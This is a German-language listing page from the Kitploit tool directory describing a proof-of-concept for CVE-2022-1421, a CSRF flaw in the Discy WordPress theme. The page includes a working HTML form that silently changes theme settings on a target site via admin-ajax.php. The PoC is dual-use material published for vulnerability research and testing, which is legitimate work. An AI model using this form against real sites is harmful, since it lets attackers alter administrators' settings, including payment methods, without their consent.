Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-1421 | Kitploit
Tools/GitHubGitHub/nb1b3k/cve-2022-1421
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubnb1b3k/cve-2022-1421

CVE-2022-1421

Repository anzeigen
73vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-1421

Ein Proof-of-Concept für CVE-2022-1421

Discy < 5.2 - Einstellungs-Update über CSRF

Bei Discy < 5.2 fehlen CSRF-Prüfungen in einigen AJAX-Aktionen, wodurch ein Angreifer einen angemeldeten Administrator dazu bringen kann, beliebige Plugin-Einstellungen, einschließlich Zahlungsmethoden, über einen CSRF-Angriff zu ändern.

Betroffenes Theme

Discy < 5.2

POC

root@kitploit:~
<html>
  <body>
    <form action="https://target.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="discy_update_options">
      <input type="hidden" name="data" value="discy_options[footer_copyright]=You%20are%20ultra-PWNED">
      <input type="submit" value="Submit request">
    </form>
  </body>
</html>

Referenzen

https://wpscan.com/vulnerability/a7a24e8e-9056-4967-bcad-b96cc0c5b249

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1421

Tool herunterladen